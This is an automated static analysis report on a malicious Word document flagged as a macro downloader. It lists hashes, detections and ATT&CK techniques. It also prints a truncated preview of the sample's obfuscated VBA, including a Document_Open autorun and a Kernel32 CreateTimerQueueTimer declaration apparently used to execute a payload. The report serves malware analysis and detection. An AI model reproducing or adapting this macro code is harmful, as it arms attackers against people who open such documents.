Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9906d7cbd7675f33…

MALICIOUS

Office (OLE)

180.0 KB Created: 2017-12-21 15:19:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 025a233fb3296cafe9a5412579948355 SHA-1: 2149fcca9d9943bb9012a952743daef62e041cbb SHA-256: 9906d7cbd7675f3334ef91e3a63792180e149b07a5899b1e2f9be5dcc6e8a086
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Downloader.Macro-6539595-0, indicating it's a macro-based downloader. The presence of a Document_Open macro and VBA macros strongly suggests that the primary function of this document is to execute malicious code upon opening. The VBA script, though heavily obfuscated, likely attempts to download and run a secondary payload.

Heuristics 4

  • ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11453 bytes
SHA-256: 007ac99a058233c6085ab1d8033f90c20b384905562a3c542849b9444a2983fe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub greening()
Dim shirink As String
Dim callosity As Long
ladyfish.traditionally.Value = Day(#12/5/2013#)
varday = hostel = "amused"
countdown = "canachites"
practicability = congratulations
aerometry = "emberiza"
cabstand = "faith"

marvelously = "angulation"
discomfort = backsettler
Set malleus = ladyfish.traditionally.SelectedItem
bistro = 37 + 46
 Pmt 0, bistro, 32687, 12084, 3

spermatid = malleus.Name
agricultor = 22 - 41 + 7863
stammell = Right(spermatid, agricultor)
fossa = wolfrun.impatiently(stammell)
extrinsical = 5 + 31
 Pmt 0, extrinsical, 35316, 43516, 4

integral = gaucho
#If (15 - 35 + 420 + 103 - 88 + 285) > ((4 - 124 + 440) - (98 - 41 + 483) * 1) And ((107 - 75 - 4) - (91 - 3 - 60)) * 2 < (Win64) Then
Dim patriarchate As Integer
Dim development As LongPtr
Dim dysphoria As LongPtr
Dim distinctness As String
#ElseIf (117 - 84 + 367 + 95 - 55 + 260) > ((62 - 15 + 273) - (49 - 97 + 588) * 1) And Not ((43 - 37 + 22) - (86 - 14 - 44)) * 2 < (Win64) Then
Dim amyotrophia As Long
Dim dysphoria As Long
Dim shortrun As Integer
Dim development As Long
#End If
hydrocharis = 52 - 115 + 63
proconsulship = "loci"
sciadopitys = 24 - 119 + 4191
sardinian = 38 + 7
 Pmt 0, sardinian, 11391, 27612, 2

absentminded = "bandage"
acomia = "infest"
philip = "briarean"
marian = 57 + 7
 Pmt 0, marian, 28503, 19442, 6

habilite = fossa
malabsorption = "nepidae"
development = motivation(habilite)
biceps = "ignescent"
valeriana = "belling"
#If (49 - 119 + 470 + 104 - 77 + 273) > ((7 - 117 + 430) - (8 - 14 + 546) * 1) And ((117 - 76 - 13) - (60 - 53 + 21)) * 2 < (Win64) Then
Dim cloudtouching As Variant
Dim noradrenaline As LongPtr
Dim alligatoridae As LongPtr
Dim cuculidae As LongPtr
crayfish = 65 - 81 + 2080
#ElseIf (125 - 99 + 374 + 32 - 98 + 366) > ((91 - 120 + 349) - (42 - 31 + 529) * 1) And Not ((51 - 80 + 57) - (60 - 65 + 33)) * 2 < (Win64) Then
Dim noradrenaline As Long
bedfellows = 86 - 104 + 799
Dim alligatoridae As Long
Dim cuculidae As Long
crayfish = bedfellows + 3459

#End If
Dim europium As Long
Dim aroundtheclock As Integer
noradrenaline = 86 - 19 - 67
dysphoria = development + crayfish
alligatoridae = 70 - 89 + 201546
cuculidae = 45 - 124 + 3579
achimenes = expenditure(alligatoridae, noradrenaline, dysphoria, noradrenaline, noradrenaline, noradrenaline, noradrenaline)
exploratory = 30 + 26
 Pmt 0, exploratory, 27712, 40437, 7

End Sub


Private Sub Document_Open()
Dim accompaniment As Variant
Dim malaysia As Long
mauers = "boswellia"
greening
confidentially = 59 + 17
 Pmt 0, confidentially, 9679, 16648, 4
End Sub





Attribute VB_Name = "ladyfish"
Attribute VB_Base = "0{F7B3C633-D29B-4BB3-8005-A7D1BF579E4F}{569ABCBE-B048-47C4-8EE5-FC35AFEDFF4D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Attribute VB_Name = "christmas"
'  Snowing and blowing up bushels of fun
#If (81 - 6 + 325 + 31 - 6 + 275) > ((31 - 37 + 326) - (8 - 79 + 611) * 1) And ((28 - 44 + 44) - (36 - 53 + 45)) * 2 < (Win64) Then
'  In the frosty air.
'  Snowing and blowing up bushels of fun
Public Declare PtrSafe Function expenditure Lib "Kernel32" Alias "CreateTimerQueueTimer" (electrode As Any, ByVal bibliomaniac As Any, ByVal crater As Any, ByVal te As Any, ByVal imbued As Any, ByVal coon As Any, ByVal thermos As Any) As Long
'  To rock the night away
#ElseIf (53 - 126 + 473 + 72 - 90 + 318) > ((74 - 14 + 260) - (79 - 39 + 500) * 1) And Not ((64 - 14 - 22) - (128 - 107 + 7)) * 2 < (Win64) Then
'  Jingle bell, jingle bell, jingle bell rock
'  Jingle bells chime in jingle bell time
Public Declare Function 
... (truncated)